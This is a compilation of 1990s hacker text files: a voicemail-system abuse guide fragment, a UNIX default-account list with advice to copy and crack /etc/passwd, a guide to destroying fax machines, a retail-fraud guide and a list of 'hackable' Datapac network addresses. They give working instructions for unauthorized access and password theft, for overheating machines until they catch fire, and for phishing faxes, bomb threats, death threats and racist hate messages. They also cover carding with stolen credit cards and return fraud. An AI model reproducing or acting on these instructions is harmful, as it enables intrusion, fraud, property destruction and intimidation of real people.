the recipient hears prior to hearing the forwarded message.

	After hearing the message, press 73. "Forwarding message (number). 
Enter a list of mailboxes." Enter the first mailbox number followed by the #.
"(Name or mailbox.)" To remove a mailbox press 0#. "Address (mailbox number)
cancelled." Enter the next mailbox number and then a # for your last mailbox.
You then can add an intro by pressing 79. Hit # when your done recording. To
forward the message at this point press 79 again. "Message sent."

			      Name Addressing

	Name dialing lets you call a person by spelling out the dudes name.
Name dialing is usefull because it lets you place calls without knowing the
telephone extension or number itself, and without asistance from the bitch
attendant. This is also good because when you search for a name and the guy or
girl says "Hi.. joe bob here at extension 866", this kinda gives you a place
to start scanning for boxes. If there is one box in the 866 range you know
there are probably more. So it makes things a little easier. When scanning
for names try shit like "Smith","Jones", etc.. common names.

	When Meridian Mail prompts you for a mailbox number, enter the two
digit Name Addressing number instead (which is usually 11). Spell the last 
name followed by the first (it will stop you when it has found a match).
For example to reach "The Visionary" dial: visionarythe (for Q use 7). The
system announces a match as soon as it finds one, so stop when it starts 
reading of names (if there's more than one it will read all matches). If you
have entered the complete name or you don't even know the complete name press
#. If there five or fewer names, the names are announced and a number is given
to identify each name. To choose one of these persons, enter the number of 
the person you want. If more than five names are found, the system pormpts you
for the name again.

			     Tagging Messages

	You can tag messages after creating the, using the Message Options
command, to indicate that you want a message handled one of these ways:

	-Acknowledge- When you tag a message for acknowledgement, you receive
		      a notification message when each recipient hears your
		      message. Kinda cool option.

	     -Urgent- An Urgent message is specifically announced when the
		      recipient logs on.
	    -Economy- An Economy message is delivered to the remote site when
		      it is most economical to do so.

	    -Private- If a message is confidential, you can tag it as Private.
		      The recipient of the message tagged Private can't 
		      forward it to anyone.

     -Timed Delivery- When you tag a message with this, the message is sent 
		      at the date and time you tell the system to.

1. To tag an unsent message

	Press 70, "Message options. For urgent delivery press 1. For standard
delivery press 2. For economy delivery press 3. For private press 4. For
acknowledgement press 5. And for Timed delivery press 6." Press the number
you wish to do. To remove any tagged message just untag it by using the same
number you used to tag it in the first place. So if you did 1 for urgent, and
you change your mind about wanting it tagged that way just hit 1 again. To
send the message prees 79.

	To save time by not listening to the whole prompt that the bitch reads
to you just hit the number you want. For example if you want an urgent message
delivered just hit 701. The 70 for message options and 1 for urgent. Thats it.
Now for a timed delivery just basically follow the prompts. So hit 706 and
follow what the bitch is saying, but i'll explain in detail of course. After
pressing 706 enter the month followed by the #. The months are entered by the
number. An example would be September is the 9th month so hit 9#. Then enter 
day followed by the #. Then enter the hours and minutes followed by the #.
The time is specified by a number from 1-12 for the hour and 0-59 for the
minutes. So if you want it sent at 1:02 (2 minutes after 1:00) you hit 102.
It will aks a.m. or p.m, 1 for a.m. and 2 for p.m, just hit the number you
want and end with a #, "Your message has been tagged for Timed Delivery (date
and time)..." To send press 79. "Message sent. Your message will be delivered
at (date and time again)."

			    Distribution lists
	A personal distribution list contains a list of mailbox's that you 
frequent often. You can create up to nine personal distribution list, each list
can contain a maximum of 99 mailbox's. This could be helpful if there's a city
of phreaks on the same system as you.

1. To create a personal distribution list

	Press 85, "Distribution list. Enter the dist. list number followed by
the #." Enter a number from 1-9 that you haven't already used for another 
previous dist. list. followed by the damn #. "Distribution list (number)."
Press 5 "Compose a dist. list." Enter mailbox numbers or dist. list numbers,
and do the # thing. When the list is complete press the # (believe it or not).
"End of list. To review the distribution list, press 2." If changes need to 
be made to a list later on dlete the list by pressing 76, then create a new

2. To check the contents of a certain Dist. list

	Press 85. "Dist. list. Enter the dist. list number followed by the
#." Enter the number, and end with the #. Enter the dist. list number and 
press 2. "Distribution list (number). (The names or mailboxes.) End of dist.
list.". You can update these whenever you want if you ever use them.


	Well thats more than the basics for Meridian Mail. Like I said, look
for the dial-out option, because this is the most powerful tool of the system.
Meridian Mail VMB systems aren't hard to find, but one that has the dial out
option activated is hard to find. Once you become very familiar with Meridian
Mail you will find other options that can be used that I did not discuss in
this article. In some systems there are other ways to dial out than what I 
wrote in here. I hope you find them. Laters!

(C)opywrong 1994, DeadKat Inc.
All wrongs denied.


		   *|     The TNO Hacking Crew Presents   |*
		   *|                                     |*
		   *|          UNiX Defaults 2.0          |*
		    \                                     /

This is the revised list compiled by the members of The New Order from 
frequent visits to UNiX hosts.  These are default accounts/passwords 
observed in hosts running UNiX variations including System V, SCO, BSD, 
Linux, Xenix, and AiX. These defaults are included in standard setup on 
various machines so the Sysadmin can log on for the first time.  Often 
the negligent Sysadmin forgets to delete or password the accounts.  
This makes UNiX machines extremely easy to infiltrate. This article 
does not go into specifics of hacking but it is highly suggested that 
you immediately copy the /etc/passwd file (/etc/security/passwd in AiX 
machines!) so you can later run a dictionary hacker and get some other 
accounts and insure your access.  This is list of default accounts which 
are often unpassworded.  If the system asks for a password, try the account 
name which sometimes works. E.G (bin/bin or adm/adm)

root                         bin                     adm
makefsys                     sysadm                  sys
mountfsys                    rje                     sync
umountfsys                   tty                     nobody
checkfsys                    somebody                setup
lp                           powerdown               ingres
dptp                         general                 guest
daemon                       gsa                     user
trouble                      games                   help
nuucp                        public                  unix
uucp                         test                    admin
student                      standard                pub
field                        demo                    batch
visitor                      listen                  network
uuhelp                       usenet                  sysinfo
cron                         console                 sysbin
w                            root2                   startup
shutdown                     ncrm                    new
sysadm                       mso                     backup
vt100                        cron                    field
trouble                      asg             
student                      network                 adm
dos                          uucpom2          
lpadm                        tty01                   sso
tty1a                        xdm                     tty1b
tty1c                        tty1d                   dptp
user                         menu                    rroot

	    ooO The Compleat Guide to Trashing Fax Machines Ooo
			ooO By Coaxial Mayhem Ooo


  Well, here it is: "The Compleat Guide to Trashing Fax Machines" Ok, now 
  wait. This isn't the same old g-file about trashing fax machines we've all
  seen. Although this includes topics discussed in many of those g-files,
  this is the ULTiMATE guide. Every possible devious technique I can think
  of, and its successful application, will be covered in this file.
  Now, lets create some technoanarchy!

  Ok, you can get fax numbers from a variety of sources, but probably the
  most common are scans and asking. If you do any scanning, you've probably
  come across a fax machine. It sounds like a 300 baud modem underwater.
  You can use this fax machine but, there are two downsides to this: 1. 
  You don't get to laugh at the poor bastard because you don't know who 
  he is. 2. You might inadverently toast your friend or coworkers fax machine, 
  or worse, your bosses. The other way is asking. If some company has wronged 
  you, or whatever, you can just call 'em up and say, "Ummm I need to send you 
  a fax, what's your fax number?" Most of the time the secretary will give it to 
  you, but some of the time (especially those companies you or your phellow
  phreakers have abused) will ask for your name or something. If they do,
  play it cool. "What? My names Chester Karma. (hehe) I have to get your 
  boss this fax by 4:00 (or whatever) otherwise I could lose my job!" That
  kinda line will almost guarantee you the fax number.

  Before you can trash the fax machine, you have to figure out what kind
  of access you have, witch isn't too hard. There are only two kinds (it is
  possible to have both)

  1. On-Site Access
   This means you have access to the physical fax machine itself. This is
   probably the best, because you can: call ANI and get the faxes # (No 
   asking required), Foward all the calls into the fax machine to Flatline.
   (when the faxes don't go thru they'll call the # voice, and when they 
   hear the carrier connect, they'll assume the fax machine is just out of
   paper or somthing :), Or you can use a special attack form (see Section 3)
   The immidate downside to this is if someone sees you (The last guy i saw
   use it was that Karma guy.. Yeah, Chester Karma, didn't he get fired a
   week ago? ...) If you have on-site access when you trash the fax, make 
   sure you are not seen, and that you wear gloves (fingerprints are WAY

  2. Remote Access (no, not the bbs software)
   So you can't get into the company, maybe its because your doing it 
   anonymous, maybe they put a restraining order on you, whatever. You 
   can still totally destroy the fax machine. Phirst, you obviously must
   have your victims fax number. (see above)  Next, you must have a fax
   machine or fax modem. Make double-damn sure you've changed the message
   displayed by your fax machine (which usually includes your name and fax
   #) otherwise, you may be getting a visit from your friendly neighborhood
   police-person. Also don't forget to disable CiD when calling, as many 
   fax machines have it built-in now.

  Ok, so now you've got access. I congratulate you if you've come this far,
  you must be hell-bent on destruction, which is good. In this section I'll
  talk about the many methods of fax trashing. Please note that many of them,
  if carried out, will totally DESTROY the fax machine. Not only will this 
  cost the company big bucks to fix. It will cost them big bucks in lost
  customers, sales, whatever, because thier fax machine is down. Please be
  sure that you know what your doing when you do this, because if you get 
  in serious trouble, it will be your own fucking fault for not listening to
  me. Ok, now that we've got that cleared up, there are two basic kinds of
  fax destruction: The "Moebius Fax", and one I've entitled simply the
  "IBM Fax" 
  The Moebius Fax
   The Moebius fax is for people with remote access. If you have a regular
   fax machine, set it up so that your banner reads something totally fake
   and bogus (maybe the name and fax # of a rival company, etc.) Then get 
   5 sheets of black contruction paper from a) your kid. b) your school.
   c) Your local print shop (or wherever you go to get paper)
   Next, tape the paper together, overlapping, so that you have one long 
   chain of black paper. (the blacker the better, use the blackest side)
   Ok now you're all set, put the phirst sheet in the paper feeder, and dial 
   the victims fax #. Allways block CiD (*67 for the ignorant) and if you've
   abused this company before, you should probably route your call. (Operator
   divert is probably sufficient) When it connects and starts to receive your
   fax from hell, wait untill the phirst 2 sheets have gone through, then
   tape the phirst sheet to the last sheet, thus creating an endless loop.
   (and creating what mathematicians call a Moebius Band, from where I 
   derived the name. In case you're wondering, I didn't come up with this
   idea, its pretty old. I did think of the name though)

   There is only a few problems with this. It will only work on regualar, not
   plain-paper fax machines. The reason being that all this black overloads
   and wears out the thermal head on regular fax machines, thus rendering 
   them inoperatable. If the fax machine is plain-paper, then all you can
   hope to do is make the machine run out of paper, ink, or both. Still 
   doing some damage, but it won't leave the impressive effect of the fax
   machine smoking. The smell of this is horrible, and if your lucky, the 
   heat from the thermal head will melt the cheap plastic fax machine, or 
   blowup, sending sparks everywhere (or if your really lucky, both). Aside 
   from that, you should probably start sending your fax whenever the store 
   or office has been closed for a few hours (ie. around 9:00 pm) and stop 
   around 4:00 am (or whenever the machine shuts down). Texts I've read say 
   that a fax machine can take anywhere from 30 minutes to 4 hours to burn
   out, but all the machines i've done went total meltdown in an hour or 
   less. One of the heads on one of the machines got so hot it burned 
   through the paper and started a small fire!

   If you don't have a fax machine, but have a fax modem, you can do this
   trick too. All you have to do is get an ANSI editor, like TheDraw, and 
   fill up a few pages with the black background fill color(After you've
   filled the maximum page length with The Draw, you can use an editor to cut
   and paste the file so it's larger. Now port that file over to your Fax 
   Modem OCR software and take a look at it. It should be one whole black
   screen. Ok. Now follow the steps above, changing your banner, blocking
   CiD, etc. Except set up a schedule to send the file over and over again.
   (See your Fax Modem docs for info on this) This takes the place of the
   endless moebius loop on regular fax machines.

  The IBM Fax
   This is for people who have On-Site access to their victims fax machine.
   IBM has a 800 number that will fax you a 39 page document about thier 
   services. The number is 800-IBM-4FAX. Other companies have a service
   similar to this, but i can't think of thier names/numbers offhand. If 
   you have such a number, post it on Flatline. Anyway, I think you can see
   what's going to happen. But big deal. A 39 page fax isn't going to cause
   major damage. No, your probably right, but what if you set up the fax
   machine to make, oh I don't know, say a hundred calls to that number a 
   day, how long do you think the machine will last? Of course, if your 
   company has a plain-paper fax machine, all that will happen is that 
   they'll have a couple hundred pages on the floor of thier print room, and
   a fax machine that needs ink. This, of course is a cost expense for the 
   company. This was implemented repeatedly on the hotel managers fax machine 
   at SummerCon '93.

 4. iN ADDiTiON...
  This is just a list of other things that i thought about doing to fax
  machines that I really didn't have time to test out. Most of them are 
  just malicious things you can do for revenge, etc.

     Send a fax with "Fuck You!" Written on it in big letters to a rival
     company of your victims. Make sure you send it at least 30 times.
     Also, don't forget to change your banner to your victims banner, so
     it looks authentic.

     Copy the VISA or AMEX logo onto a piece of paper, and then make up a
     bullshit letter under it. "Dear Joe Shmoe, We suspect that your credit
     card has been used illegally. To confirm this, we ask you to call our
     voice mail system at:  and leave us your card #,
     expiration date, and your social security number for verification. We
     will send you a fax after we have verified if your card has been stolen,
     Thank you for your time, " Make sure to make it business
     like so that they won't suspect a thing. Also, after you've got the 
     number, you should send a fax confirming thier credit card has not been 
     stolen. (not yet, at least hahaha)

     If you've got a whole bunch of local fax numbers from scanning, prepare
     a fake fax to send to them ALL. Recommended: A fax detailing the next
     local KKK or Satanist meeting with the appropriate slogans. A very 
     authentic looking fax that details the exchange of something illegal,
     a major drug sale, stolen property, cargo, etc. For this one you may 
     only want to send to one person because the police will catch on once
     they get 20-30 calls about the same fax. A fax with one or two words
     written in big letters. Try to avoid "Fuck You" or any other swear.
     My favorite oneliners are things like "REPENT!" or "ADULTURER!" or 
     or the ever popular "The KKK Controls you, Nigger" or something to that
     effect. Trust me, these slogans scare people a lot more than "Fuck You"
     Most people will call the police. The best was when I sent the local 
     Catholic Church faxes of pictures copied directly from the Necronominon,
     along with slogan's like "Old God, New Devil" and the like.

     Fax bomb threats to your local educational institution, along with local
     businesses. Most of the time they will shut down any building that has
     a bomb threat sent to it, resulting in a loss of business for the 
     victim. (and a free day off for the kiddies)

     Fax threating letters to residental households. Ie messages like 
     "I know where you live" and "i'm coming to kill you" will scare the 
     shit out of most people (I know, I don't scare easy and I was scared
     shitless when I got one of these calls) You could follow one of these
     letters up with a moebius fax that said "DIE!" Over and over again.

     If there is a serial killer roaming your city, fax your local paper
     saying that you are the killer and leave riddles and threats and stuff.
     (Look at the letters Jack The Ripper sent Scotland Yard if you need
     inspiration) Be careful to only do this once. The paper will set up
     a trap to catch you if you call again.

  Well, there you go, the compleat guide to trashing fax machines. Now you
  have something to do Friday night instead of beating off on a Conference.
  This can be loads of fun, and if can even get you some cards if you find 
  someone guillible enough. But don't be an idiot. Take safty precautions.
  This crime is way to stupid to be caught for. Oh yeah, don't get too
  cocky and abuse the same company 30 times. Their more then likely to set
  up a trap with the Telco if this happens too often.


			     Retail Skamming

	Hello boys and girls. Time for a small installment of retail
scams that YOU can get away with. The are just little things I have
picked up over the past few months and decided to share with all you
out there in white bread land. All of the following ways of skamming
have worked at one time or another and can be done at least at one
store. The scams covered today are: 
			  - Discounts
			  - Free Clothes
			  - Safe Carding
			  - Free Money
			  - Free Goods
			  - Free Hardware
			  - Free Software
			  - Other Things
	Anyway, as usual, this file is for informational purposes 
and may be used by anyone (including security d00ds) for anything 
YOU may wish to do. 


	This one is really easy, and you just have to know it exists.
If you are in a mall, at almost any food place, and sometimes other
types of stores, you can get mall discounts. Most food places will
give either a 10 or 15 percent discount to mall employees. All you have
to do is order your food, just ask "Do you give discounts to mall
employees?", and usually they will just say "yes" and give it to you
without asking. If they ask where you work, just tell them some store
at the other end of the mall, and say you are new there. I have never
had anyone question me about this, and I have done this at malls that
I don't work at.
	I was surprised to find that Lens Crafters(tm) gave me a 
15% discount on my 150 dollar glasses I was having put together. That
is a nice little discount when you think about it. So don't count
on discounts on food only, always ask, it never hurts. The most they
will say is 'no'.

			      Free Clothes

	Ok. Free clothes this time. This scam takes a little more time
but in the long run, can pay off quite nicely. A few chain clothing
stores run specials on buying more than one item. Chess King is well
known for their '2 for 45' deal. A pair of pants and a shirt for
45 dollars. Not bad at all. Anyway, individually, those two items
are about 30-35 dollar range, and just discounted when purchased together.
So, buy the two for 45 and leave the store. Next day, return the one
item with the tags still on it. Since it is a single item, despite the
2 for 45 purchase, they will return it for full credit. Next day, bring
back the second item for full credit. Once again, make sure you aren't
doing this with the same person or they may catch on.
	Now you have spent 48.29 (tax) and received back around 65 
dollars of credit. When you get the first two items, try to get two
high priced individually for more credit later. Use that credit
to purchase another 2 for 45 deal. Wait a week and return them back
to the store. If you can, go to another location and they should
take it back. Return each on a seperate day and get full credit.
Now you have spent 48.29 and should have around 120 dollars in credit.
You see the pattern. Keep doing this and you can build up a shitload
of credit. Most store credit at clothing retail places is good for
anywhere up to 6 months and sometimes beyond. Take your time with it
so they don't catch on. Eventually, you will have enough credit to
purchase a leather jacket or something, or a shitload of clothes.
	That is about it. The critical thing in this scam is making
sure they don't catch on. Just use your head and everything should
be cool.

			       Safe Carding

	First. Obtain a card number, name, and expiration date. If
at all possible, obtain the actual card. If you think that is impossible,
think again. Grocery stores turn up 5-10 cards a week, and they aren't
even looking for them. If you or someone you know works in a place that
gets more credit cards than average then you are set. If you are a cashier
at a grocery store or some other large store, you are in an ideal position. 
During the 6:00 rush when everyone is begging to get the hell out of 
the store, accidently hold on to the credit card. If they say anything, 
just say 'Oops. Heh. Sorry, it's been a long day' and act like nothing 
happened. If by chance, the customer walks off without their card, just 
hide it under your register, or somewhere else you can get to it should 
they come back for it. Either way, you can do what I will discuss. If 
you have an actual card, then you are set. If you only have the number, 
name, etc, then you need to do this: Write all that info on a small 
piece of paper. Tape the paper to some other bullshit card you don't 
need, so that it appears you are handing someone your credit card.
	Second. Once again, this relies on a friend or you working in the
right place. How many of your friends work in a computer or a software
store? If you have one friend that does, and is willing to help, then you
are both set. Throughout this file, I will use Waldensoft as our example, 
because I know it can be done there and places like it. Now, wait one 
night when your friend(s) are working there(it is important that 
everyone working there is in on the deal) and go to the store. Take the 
card or card number and information so you can get your loot. Just go 
shopping for whatever you want. Pick up some games, disks, books, 
hardware if they sell it, or anything else you might need/want. Now, 
take it to the counter where your friend is waiting. Give him the loot, 
and after he rings it up, hand him the card. If it is the actual card, 
he can scan it through, and if it the card has already been invalidated, 
he can just shake his head, and watch as you walk away and get the hell 
out. If it goes through, take your stuff, and the card, and split. Done! 
If it is your card with someone else's info on it, almost all stores 
have a way to punch in the info by hand in case a card is damaged. So 
your friend can manually punch in the info and you are set.

	Other stuff to watch out for: 
	   - If the card or the card number doesn't go through for some 
	      reason, just calmly walk out the store and if anyone asks 
	      about the incident, your friend can say 'Hmm? This older
	      lady came in the store, picked up some stuff, came up and 
	      handed me the card. When I told her it wasn't going through 
	      she just grabbed it out of my hand, and walked out.' From 
	      here your friend can make up a description of the lady or 
	      whatnot, and that is about all that will be said. 
	   - If it is an actual card, some places offer rewards to their 
	      employees for hanging on to stolen credit cards. Hell, if you 
	      can't get some new stuff, might as well get a small cash reward! 
	   - Make sure the place you do this at has NO security cameras.
	   - If possible, talk to your friend and make sure that the store 
	      you are doing all this at, doesn't have it set up so that if a 
	      stolen card goes through, security is automatically alerted.
	      I have heard of malls with that kind of set up, but don't know 
	      if that is true. I know it isn't true at the mall I work at, 
	      or other malls I have worked at in the past.
	   - Remember, that for this to work with the actual card, you have
	      to do it the same day you get it, or chances are that the 
	      person has called the company and cancelled it.
	   - Make sure there aren't too many other customers around or
	      watching since they can probably describe if security came
	   - Don't get too greedy. If the place sells hardware, don't 
	      get too much. Also, avoid getting two of the same things.
	      If you were to get two soundblasters or two modems, this
	      looks really suspicious and may cause problems.
	   - Don't do this more than once at a single store if you can.
	      If you do, wait at least one month before attempting it
	Some larger computer warehouses, no names mentioned (Comp USA,
Computer City) will willingly let you purchase stuff with a credit
card #, exp date, and name. If you use this method, make sure you have
a payphone number handy, and tell the cashier to call and verify
that you are using "dad's card". Just have them call the payphone number,
have a friend answer, and play the role of daddy. Easy enough.

	Last thing. This is based on rumor, so if someone tries this, and
it works, or doesn't work, get word out about it. These days, they have
it set up so you can get cash from ATMs using Mastercard or Visa. I have 
been told that if the person has a card with that feature, and they have
never used it, then the PIN number for that card is the last four digits
of the card number. If you try this, make sure you aren't standing in 
front of a camera at the ATM. In some grocery stores there are ATMs without
cameras, but a lot of people around. You have to weigh the risks on that
one yourself.

				  Free Money

	Free money. The ultimate scam. Ok. First, you need to find
a store that does price matching. Certain computer warehouses do it
like Computer City, Comp USA (i think), and a few others. Find a
high price item at one store, and find another place that price matches
but has it for a higher price. That is pretty easy to do. Good items
to do this on are printers, scanners, monitors, etc. Remember that
they usually won't match on full systems or anything like that.
Purchase the item at the expensive place. Leave, come back the
next day. Walk in to the customer service desk and tell them how you
purchased something there and found it cheaper somewhere else. 
When they ask, tell them where you found it so they can call and
verify. Once they do, they can offer the price match, and if
under a certain amount, give you CASH back for the difference. Try
to shoot for about a 70 or 80 dollar difference because most places
have a limit of 100 dollars and the rest is done by checks mailed
to you. When you are doing all this, it is important that you keep
your receipt away from them as much as possible. Hold on to it, fidget
with it, drop it, whatever, just don't let them write on it. Most
places will just write the price on something else and then do some
shit on the register and give you the difference. If they give you
the money, and do NOT write on your receipt, then thank them, walk
out, and wait. Come back a few days later, during a different shift,
and scope out who is working. Make sure there aren't too many
familiar faces, and go up and do the same thing. As long as they
don't mark up your receipt, then you are fine, and they have no proof
that they have given YOU the money back. If for some reason you are in
their computer system, or they suspect it, tell them that you buy things
from them all the time, and that you end up getting prices matched on
a lot of things. 
	After you do this a few times, return the item (within 30 days
usually) and get your money back. They key is no marks on your receipt.

			      Free Goods

	Once again, this works great at busy computer warehouses etc.
Go in and buy a pretty high price item. Once again, printers, scanners,
memory if it isn't locked up, or anything else. Purchase one item while
the store is real busy, and people aren't paying attention to a lot.
Go through the line, buy the item, and stall afterwards. Say something
like "I need to look for my friend" or "Can I go look at something else?".
Either way, say this while your receipt is in your hand, and the cashier
can see it. Odds are, s/he will tell you no prob, as long as you have
your receipt. Walk back in for about 5 to 10 minutes, WHILE IT IS BUSY!
That is the most important part of this whole thing. If they let you
take the item back in the store, that is fine, if they keep it there,
that is still cool.
	After you have walked around a bit, go back up and talk to a
different person, and show them the receipt and the merchandise. Walk
out with it, since you payed for it, drop it in a friends car and let
him drive off. Walk back in while it is still busy, go through the store
and pick up a second item. If they original cashier made you leave it
at the register or something, you might have some problems, just depends
on if you see the oportunity. Anyway, if you were allowed to carry
it back in the store, wait until you see the person you talked to leave
the area. Go back to your original cashier, show the item, and the
receipt, and walk out with a second one. Wait a couple of days and
come back with one of them, and tell them you want to return it for
your money. They shouldn't have a problem with that if it is unopened.

	Now you have a high dollar item, and your money back. Use the
item, sell it, or whatever. It was free.

	The other way: Many places make you check in your bag from 
another store when you enter. If they do, and don't give you a ticket,
yes, some places do that, then go in, walk around, and as you exit,
walk up to the counter and ask for your bag. You can usually see what
kind of bags are there, and half the time see what is in it in case they
ask you. You don't get to select your stuff that way, but it is free
and hell, if the receipt is in the bag you can return it for someone else's
money. :)

			      Free Hardware

	Free hardware. Run to your local computer warehouse and purchase
a complete system. Hell, get a 486/66 with a 450 meg hard drive, 8 meg
of ram, and some other shit. Pay with cash or check and take your item
home. Don't worry, you will get the money back. As soon as you are home
rip open the machine and take out the motherboard, hard drive, memory,
and anything else you need. Put all your old shit in it and box it back
up identically. Take the whole thing right back to the store and
return it for your money. Just tell them that you aren't ready to
make such a large purchase, can't afford it after all, or anything
else. If the place doesn't give cash back, then don't pay by cash. 
Ideally, use a check, and just ask the place to get the check back out
and let you rip it up. That way, there is little or no record of who
did it. You don't want your name, or address, or anything else left
with them if at all possible.
	If you hesitate doing that, then do everything, but call back
in and tell them that when you got home, it wasn't what you bought,
and that apparently, the box had been opened. Despite what you may
think, when stuff is returned to warehouses, they often re-shrink wrap
a box or retape it for resale.

			      Free Software

	Free software without being a warez kiddie. You ever need
some free software. Don't want to pay? Don't wanna get on a warez 
board? Want the docs and everything else? Go to Egghead! If you
live in a town with Egghead Software, then you are set. As this
file is being written, Egghead will allow you to purchase software,
install it, use it, copy it, whatever, and then let you return it
without a hassle!
	I work at a competitor of Egghead and am constantly beaten
over the head with that fact since we don't allow software to be
returned after it has been opened. Anyway, take your time with
the software, copy the docs, manuals, or whatever else, and then
return it for another piece. If they ask why you are returning it,
just say one of the following:
	- I didn't have the system requirements. (HD, RAM, etc)
	- I have Macintosh/IBM and this won't work on my computer.
	- The box said it did this and this, and it doesn't quite
	  do what I need.
	- I wanted it in CD Rom
	- Or any other excuse like that.

	Now you have access to high dollar software, access to copy
the documentation, and you didn't have to become a warez kiddie to 
do so!

			      Other Things

	If you have access to a shrink wrapping machine, you have
almost unlimited access to free stuff. Easy as this:

	1) Purchase something kinda small.

	2) Take it home, immediately open and take out the

	3) Put something in the box that weighs the same, and
	   close the box up.

	4) Re-shrink wrap the box.

	5) Take it back almost right away and ask for your money back.

	Since they will no doubt look at the time and date it was 
purchased, and the fact that it is 'unopened' they will no doubt
give you your money back. Only thing to watch out for is that when
you replace the goods, make sure it doesn't 'shake' differently.
Notice how things were packed, and make sure the weight is about
the same.

	By the same token you can do this: Buy an item, take out the
goods, replace it with a few decks of cards or something, and then
return it to the store claiming that was all that was in it. Just
be pushy and no doubt a manager will let you get a new one by "customer
satisfaction". Wait a few days, and then take it back for your money.


	With those ideas, I think you can start to see the possibilites
of retail scams. Working for retail will open you up to most of the
ways, and keeping an eye out for customers that do it to you is the
other good way. Always remember to not get greedy. That will put a 
quick end to scamming most of the time. If you are not the best
at social engineering (which a lot of this is in one way or another)
then go for the old fashioned way of shoplifting. For a good guide to
shoplifting, check out FUCK0016.TXT by Max Headroom. If you wonder
what that file is, it is the 16th file released by F.U.C.K. (Fucked
Up College Kids) and is a good guide on how not to get caught. Yes,
a shameless plug never hurts.



				 Release 1.0
				 Release 1.1
				 Release 1.2
				 Release 1.3
		      Written, scanned & compliled by:
		       (((((((((  Deicide  ))))))))))
	Well, after all the wait, it is finally out. The largest and most
comprehensive Datapac NUA list ever. This is for all the people who wish to 
have a relatively safe place to ply their trade, and Datapac contains NUA's 
for ALL skill levels. The Telenet/Sprintnet NUA lists by the LOD/H was a great 
source of hackable systems for most people, and i hope that this list will 
help people out(and save months of scanning) as well, but for the ever popular
, ever insecure PSN called Datapac.
	This is the first release ever of this list, and it will probably not
be the last. NUA's go up and down every day, so this list will never really
be complete, but it is as complete as it can get. Keep in mind that I have 
scanned each and every NUA prefix from 200 to 999(pre-200 i have never found 
a NUA..) at least a small amount, so if i do not include a NUA prefix, it was 
probably not active at the time i compiled the list. New prefixes will and do 
go up, so help keep me on top of these changes. Also, when a NUA dies, and new 
ones come up, let me know and we will correct these and release the next 
version, and you will even get a mention in the 'Contributors' spot! K-rad or 
what ?? 
	This list does NOT contain accounts, something which a few people 
falsely advertised by error. If you need help with a system, contact me and 
i'll help you out.  
	This list does not contain connect information.If you do not know how 
to access Datapac/Tymnet/Sprintnet then ask a local H/P user for help, or
consult my guide to hacking.
	I did NOT list any system that was not obviously hackable..if the 
system consisted of a blank screen, or random garbage, i left it. This
is because of space & pointlessness. Why contain NUA's that no one will use,
because they are unuseable? If for any reason you want these NUA's, contact 
	I have also included a header for each NUA prefix where NUA's were 
found. This header will be in this format:

- 200 - ONTARIO  - Up to 9999 

Where 200      : Is the NUA prefix.
      ONTARIO  : Is the province the NUA prefix is located in. 
      Up to 999: Tells how far i have scanned. Feel free to scan further, 
		 there might be more farther than this, but i didn't think
		 there would be.
	The NUA format is :

Where X: Is the NUA. Enter exactly as shown INCLUDING the comma, if needed.
	 Datapac NUAs are standardly 8 digits, but can be 9 or 10 if 
	 subaddressing is used. 
	 The data behind the comma is what is known as a mnemonic extension,
	 used either by the system as an external password or a port selector.
	 I discovered mnemonics on my own, and seem to be the only one around
	 who knows how to use them properly. 
      $: Designates a reverse charging system. If this symbol is not present, 
	 the system will accept reverse charging.
      S: Is the system type, if known.
      D: Is the description. Extra info/notes.
NUA's with System types but not Descriptions are simply the standard prompt
for that system, without additional data.
	Also, i didn't include double/triple NUA's, if the system backed-up
or hunted, i listed the original NUA(the NUA that DID NOT back-up or hunt.)
***NOTE:The NUA does not contain Datapac's DNIC. If needed, the DNIC is 3020.
***NOTE: All systems are assumed to have the parameters of 8/N/1. It will        
be specified if 7/E/1.

    I did NOT include the FOX,LOGGER or MACHINE mnemonic to NUA's with
XMUX's present, for space reasons and as these mnemonics are present EVERY
time(with the possible exclusion of MACHINE). To access these, type the NUA
(without listed extentions) and include a comma plus the mnemonic after the 
    In the System Description when I list UNIX as the system type, that
encompasses all the Unix variations unless otherwise specified. 
    In the case of Gandalf PACX/Starmaster systems, if the system identified
itself as a Starmaster, i used that in the system type column. If not, or it
identified itself as a PACX, i listed PACX as the system type. 

    Ok, that's all for now. If you have any comments at all, find me and ask

Quite a few new NUAs and new prefixes as Datapac is expanding daily..and the
mnemonics to go with em.. enjoy..
a friend of mine was going to scan every NUA prefix up to 2000 for me,
but I was "busted" soon after and we lost touch.. I'll see if I can get his
assistance for 1.2..
    Have fun kiddies..
A few more changes..

V1.3 NOTES: 
More more more..
- 201 - ONTARIO  - Up to 200
20100071           $ VM/SP     BNR - Bell Northern Research
- 202 - ONTARIO  - Up to 700
20200115             VAX/VMS
20200116             VAX/VMS
20200156                       Diand Information System
20200214           $ UNIX      (gtagmhs2)
20200230                       METS Dial-In Server  Enter your login name:
2020024098                     Control Port on Node Ottawa 6505 PAD
20200286           $ VAX/VMS
2020032099                     MPX.25102: PASSWORD
20200321             SunOS     Rel 4.1.3 (X25)
20200322             SunOS          ""
20200330             INETCO    Magicbank
20200342                       ::
20200497             VAX/VMS
202005421          $ VAX/VMS
20200548             SunOS     Rel 4.1.3 (TMS470)
20200582           $ VAX/VMS   Production System
20200586             ULTRIX    v4.2 (fcsa)
20200600           $           User Id/Usager:
20200602           $ UNIX      (gtagmhs)
- 204 - ONTARIO  - Up to 1050
20400011           $ VM/SP     BNRCEN - Bell Northern Research
20400089,console     XMUX      node: 320QUEEN
20400157             HP3000    IDRC/CDRI/CIID:
20400177                       QL * IDENTIFIEZ-VOUS SVP * PLEASE SIGN ON:
2040017777                     GST Questions & Answers by Revenue Canada
20400180             XMUX      node: STORE305
204002051            VAX/VMS   
20400249             UNIX      
20400268           $ VAX/VMS
20400407           $ VAX/VMS
20400459                       MHP1201I TERMINAL CONNECTED TO PACKET/74
20400478             HP3000
20400484             VAX/VMS
20400529           $ XMUX      node: SMITHFLD
20400642             CDCNET
20400683             PACX      (user interface)
20400712                       UNIVERSITY OF OTTAWA
20400860             VAX/VMS
- 205 - ONTARIO  - Up to 200
20500011             VM/SP     National Research Council Canada
20500036                       enter v for vtam(roscoe or tso) d for dobis
20500047           $ DECSERVER
20500272           $           Xyplex Server
- 206 - ONTARIO  - Up to 450
20600029             SCO       domus1   SCO v/386
20600222                       Please enter password
- 207 - ONTARIO  - Up to 900
20700038           $ VAX/VMS
20700040                       Enter profile ID:
20700053                       NODE 57206798 (looks like an iNet2000?)
20700122             XMUX      node: OTTAWA
20700157             UNIX      ""     
